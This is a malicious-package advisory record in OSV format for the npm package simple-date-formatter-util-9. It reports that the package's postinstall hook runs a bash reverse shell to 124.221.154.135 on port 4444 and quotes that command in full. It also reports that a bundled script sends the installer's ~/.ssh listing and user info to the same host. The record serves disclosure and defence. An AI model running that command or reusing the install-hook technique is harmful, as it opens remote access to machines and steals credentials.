MAL-2026-11547Malicious code in simple-date-formatter-util-9 (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | simple-date-formatter-util-9 | 1.0.0 |
{"modified":"2026-08-04T22:07:12Z","published":"2026-08-04T22:07:12Z","schema_version":"1.7.4","id":"MAL-2026-11547","summary":"Malicious code in simple-date-formatter-util-9 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840)\npackage.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.\n","affected":[{"package":{"ecosystem":"npm","name":"simple-date-formatter-util-9"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"304032276f21b0190f167d74910e03d933146ef0be9af14a0eedfb9ac8277d0a","tlsh":"27e07d50ce108c3367d585b98a568512bb04de1b00183c09779b2248a38fab344fc30e"},{"path":"postinstall.js","sha256":"f2be6940c08d36a7f1ce83d5fe16fefd8c14edda5d124e0f6406725beb5020ef","tlsh":"273165d558f9cd3007778685639b91263102fe13650ee940f3c807a51fe9a5449f2dee"}],"package_integrity":[{"filename":"simple-date-formatter-util-9-1.0.0.tgz","hashes":{"sha1":"320bc1b63cd845834e1f2f15240fffad23e3c9cc","sha512_sri":"sha512-cZmgGyB6elEBCIi74DABoMFlDam8DVl/xUWGFmzHLZCg9eH5Ve92ocwLzhgBMjp5m4KdZpWaoPuNPYvKmPemyA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/simple-date-formatter-util-9/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-011338","import_time":"2026-08-04T22:30:11.671428728Z","modified_time":"2026-08-04T22:07:12Z","sha256":"3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840","source":"amazon-inspector","versions":["1.0.0"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0